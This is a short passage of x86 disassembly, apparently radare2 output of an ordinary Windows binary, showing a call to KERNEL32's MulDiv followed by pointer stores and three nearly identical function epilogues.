call dword [sym.imp.KERNEL32.dll_MulDiv]
mov ecx, dword [esp + 0x28]
pop edi
pop esi
mov dword [ecx], eax
add esp, 0x1c
ret
mov edx, dword [esp + 0x28]
pop edi
mov dword [edx], esi
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
pop edi
mov dword [eax], esi
pop esi
add esp, 0x1c
ret